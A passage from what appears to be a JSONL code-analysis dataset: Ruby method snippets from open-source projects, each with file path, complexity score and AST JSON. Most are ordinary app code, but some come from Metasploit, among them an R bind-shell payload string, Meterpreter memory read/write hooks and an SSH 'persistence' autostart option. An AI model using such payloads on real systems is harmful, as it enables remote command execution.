version\"]},{\"type\":\"str\",\"children\":[\"OpenSSH.Server~~~~0.0.1.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CLIENT_VER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"OpenSSH.Client version\"]},{\"type\":\"str\",\"children\":[\"OpenSSH.Client~~~~0.0.1.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"AUTOSTART\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Sets sshd service to startup automatically at system boot for persistence\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"1f2d5201-d5b6-40ae-a9e4-74424926eaab"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/timer_button.rb","start_line":65,"raw_source":"def stop\n page.within(\"op-wp-timer-button\") do\n find('[data-test-selector=\"timer-active\"]').click\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\"op-wp-timer-button\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"timer-active\\\"]\"]}]},\"click\"]}]}]}","id":"0312a148-1fdd-42ac-9e10-9f48b8ee19ce"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/base_service_utility.rb","start_line":36,"raw_source":"def deny_visibility_level(model, denied_visibility_level = nil)\n denied_visibility_level ||= model.visibility_level\n\n level_name = Gitlab::VisibilityLevel.level_name(denied_visibility_level).downcase\n\n model.errors.add(:visibility_level, \"#{level_name} has been restricted by your GitLab administrator\")\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deny_visibility_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"optarg\",\"children\":[\"denied_visibility_level\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"denied_visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"visibility_level\"]}]},{\"type\":\"lvasgn\",\"children\":[\"level_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"level_name\",{\"type\":\"lvar\",\"children\":[\"denied_visibility_level\"]}]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level_name\"]}]},{\"type\":\"str\",\"children\":[\" has been restricted by your GitLab administrator\"]}]}]}]}]}","id":"98596395-5ff1-41b2-bc3f-63eeb681e985"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/lsa.rb","start_line":9,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_railgun_api\n stdapi_railgun_memread\n stdapi_railgun_memwrite\n ]\n }\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_railgun_memread\"]},{\"type\":\"str\",\"children\":[\"stdapi_railgun_memwrite\"]}]}]}]}]}]}]}]}]}]}]}","id":"df906086-0743-4228-ad31-1c45f66000f3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/oauth_application_ids_controller.rb","start_line":9,"raw_source":"def show\n if show_application_id?\n render json: { application_id: jira_connect_application_key }\n else\n head :not_found\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_application_id?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"send\",\"children\":[null,\"jira_connect_application_key\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}","id":"f070f2ff-3ee8-48b8-8f6e-2e4680619b5e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/object_store_settings.rb","start_line":201,"raw_source":"def use_consolidated_settings?\n return false unless settings.dig('object_store', 'enabled')\n\n connection = settings.dig('object_store', 'connection')\n\n return false unless connection.present?\n\n WORKHORSE_ACCELERATED_TYPES.each do |store|\n section = settings.try(store)\n\n next unless section\n next unless section.dig('object_store', 'enabled')\n\n section_connection = section.dig('object_store', 'connection')\n\n # We can use consolidated settings if the main object store\n # connection matches the section-specific connection. This makes\n # it possible to automatically use consolidated settings as new\n # settings (such as ci_secure_files) get promoted to a supported\n # type. Omnibus defaults to an empty hash for the\n # section-specific connection.\n return false if section_connection.present? && section_connection.to_h != connection.to_h\n end\n\n true\n end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use_consolidated_settings?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"dig\",{\"type\":\"str\",\"children\":[\"object_store\"]},{\"type\":\"str\",\"children\":[\"enabled\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"dig\",{\"type\":\"str\",\"children\":[\"object_store\"]},{\"type\":\"str\",\"children\":[\"connection\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WORKHORSE_ACCELERATED_TYPES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"section\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"try\",{\"type\":\"lvar\",\"children\":[\"store\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"dig\",{\"type\":\"str\",\"children\":[\"object_store\"]},{\"type\":\"str\",\"children\":[\"enabled\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"section_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"dig\",{\"type\":\"str\",\"children\":[\"object_store\"]},{\"type\":\"str\",\"children\":[\"connection\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_connection\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_connection\"]},\"to_h\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"to_h\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"f0f581ae-b571-4c28-8a64-c351ae23eb27"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/fuzzer.rb","start_line":168,"raw_source":"def fuzzer_string_small\n res = []\n 16.step(512,16) do |len|\n buf = fuzzer_gen_string(len)\n block_given? ? yield(buf) : (res << buf)\n end\n res\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzzer_string_small\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"step\",{\"type\":\"int\",\"children\":[512]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[null,\"fuzzer_gen_string\",{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"1a11bd13-5bc2-4582-83ea-53c2553f7b17"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/presenters/mail_presenter.rb","start_line":143,"raw_source":"def email_forwarded_for\n @mail['X-Forwarded-For'].try(:value)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email_forwarded_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mail\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Forwarded-For\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}","id":"518bc48e-5808-4017-96f0-e88b363df321"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/resolvable_discussion.rb","start_line":53,"raw_source":"def first_note\n strong_memoize(:first_note) do\n notes.first\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"first_note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"first_note\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"first\"]}]}]}","id":"6f37cd98-e8cc-4101-9db0-1c21d0fb41f9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/json_schema_validator.rb","start_line":18,"raw_source":"def initialize(options)\n raise ArgumentError, \"Expected 'filename' as an argument\" unless options[:filename]\n raise FilenameError, \"Must be a valid 'filename'\" unless options[:filename].match?(FILENAME_ALLOWED)\n\n @base_directory = options.delete(:base_directory) || BASE_DIRECTORY\n @size_limit = options.delete(:size_limit)\n\n super(options)\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Expected 'filename' as an argument\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]},\"match?\",{\"type\":\"const\",\"children\":[null,\"FILENAME_ALLOWED\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"FilenameError\"]},{\"type\":\"str\",\"children\":[\"Must be a valid 'filename'\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_directory\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"base_directory\"]}]},{\"type\":\"const\",\"children\":[null,\"BASE_DIRECTORY\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@size_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"size_limit\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"d326f486-db10-465c-8ced-375210a722a4"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":353,"raw_source":"def find_option_value(opt_name)\n option_values.includes(:option_type).detect { |o| o.option_type.name.parameterize == opt_name.parameterize }\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_option_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option_values\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"option_type\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"option_type\"]},\"name\"]},\"parameterize\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt_name\"]},\"parameterize\"]}]}]}]}","id":"a90a3daf-ce60-4d8c-9531-3b40620c53ba"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/signed_id.rb","start_line":33,"raw_source":"def find_signed(...)\n scoping { model.find_signed(...) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_signed\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"find_signed\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"9cc622e3-a85e-483b-a6cb-92e8a0d09f56"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/validators/email_validator_spec.rb","start_line":4,"raw_source":"def blocks?(email)\n user = Fabricate.build(:user, email: email)\n validator = EmailValidator.new(attributes: :email)\n validator.validate_each(user, :email, user.email)\n user.errors[:email].present?\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"blocks?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fabricate\"]},\"build\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"validator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailValidator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"sym\",\"children\":[\"email\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator\"]},\"validate_each\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"present?\"]}]}]}","id":"2ec5c1a5-372b-4690-b39b-4e537ecf44e3"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/base.rb","start_line":40,"raw_source":"def values=(values)\n @values = Array(values)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"values=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}","id":"54f09275-448e-4476-96b1-913273da4c00"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/template_processor.rb","start_line":46,"raw_source":"def process_output exp\n exp.value = process exp.value\n @current_template.add_output exp unless exp.original_line\n exp\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"value=\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"original_line\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_template\"]},\"add_output\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"80fe174c-074b-4712-8b8d-f7ca54c8aea7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/rename_table_test.rb","start_line":92,"raw_source":"def test_rename_table_does_not_rename_custom_named_index\n add_index :test_models, :url, name: \"special_url_idx\"\n\n rename_table :test_models, :octopi\n\n assert_equal [\"special_url_idx\"], connection.indexes(:octopi).map(&:name)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_table_does_not_rename_custom_named_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"special_url_idx\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rename_table\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"octopi\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"special_url_idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"indexes\",{\"type\":\"sym\",\"children\":[\"octopi\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"c67b1460-4eb7-438b-ab80-8a99da566435"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_r.rb","start_line":45,"raw_source":"def r_string\n \"s<-socketConnection(port=#{datastore['LPORT']},\" \\\n \"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines\" \\\n '(pipe(readLines(s,1))),s)}'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"r_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s<-socketConnection(port=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"str\",\"children\":[\"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines\"]},{\"type\":\"str\",\"children\":[\"(pipe(readLines(s,1))),s)}\"]}]}]}","id":"b3b7c4a8-b7e9-43a7-bc74-7f65db35fa5b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/work_package_relation_form_component.rb","start_line":81,"raw_source":"def show_lag?\n [Relation::TYPE_PRECEDES, Relation::TYPE_FOLLOWS].include?(@relation.relation_type)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_lag?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"TYPE_PRECEDES\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"TYPE_FOLLOWS\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation\"]},\"relation_type\"]}]}]}","id":"5d9f243a-2346-44aa-9f73-7976124493cf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/batch_count_service.rb","start_line":27,"raw_source":"def project_ids\n @projects.map(&:id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@projects\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"cef6be18-dc04-4cfa-b435-a775cede2477"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/helpers/masker.rb","start_line":33,"raw_source":"def mask(content)\n return content if content.blank? || [true, false].include?(content)\n\n @content = content\n @content = mask_by_key(@content) if @by_key.present?\n @content = mask_by_value(@content) if @by_value.present?\n @content\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mask\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@by_key\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"send\",\"children\":[null,\"mask_by_key\",{\"type\":\"ivar\",\"children\":[\"@content\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@by_value\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"send\",\"children\":[null,\"mask_by_value\",{\"type\":\"ivar\",\"children\":[\"@content\"]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@content\"]}]}]}","id":"26c69985-19c5-40f0-8404-ec4144391ec7"} {"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/line_items_controller.rb","start_line":99,"raw_source":"def cart_set_item_quantity_service\n Spree::Dependencies.cart_set_item_quantity_service.constantize\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cart_set_item_quantity_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"cart_set_item_quantity_service\"]},\"constantize\"]}]}","id":"dc1cfc97-bccb-4bd4-bcfb-9af4ad221da9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":506,"raw_source":"def all_allowed_users\n moderators_sql = \" UNION #{User.moderators.to_sql}\" if private_message? &&\n (has_flags? || is_official_warning?)\n User.from(\n \"(#{allowed_users.to_sql} UNION #{allowed_group_users.to_sql}#{moderators_sql}) as users\",\n )\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"all_allowed_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"private_message?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_flags?\"]},{\"type\":\"send\",\"children\":[null,\"is_official_warning?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"moderators_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" UNION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"moderators\"]},\"to_sql\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"from\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_users\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\" UNION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_group_users\"]},\"to_sql\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"moderators_sql\"]}]},{\"type\":\"str\",\"children\":[\") as users\"]}]}]}]}]}","id":"eabce63e-e233-45ce-a937-c9a6a8fa20ce"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/render_helper.rb","start_line":67,"raw_source":"def process_model_action action, args\n return unless call? action\n\n method = action.method\n\n klass = get_class_target(action) || Brakeman::Tracker::UNKNOWN_MODEL\n name = Sexp.new(:lit, klass.downcase)\n\n if SINGLE_RECORD.include? method\n # Set a local variable with name based on class of model\n # and value of the value passed to render\n local_key = Sexp.new(:lit, :locals)\n locals = hash_access(args, local_key) || Sexp.new(:hash)\n hash_insert(locals, name, action)\n hash_insert(args, local_key, locals)\n\n process_partial name, args, action.line\n elsif COLLECTION.include? method\n collection_key = Sexp.new(:lit, :collection)\n hash_insert(args, collection_key, action)\n\n process_partial name, args, action.line\n end\n 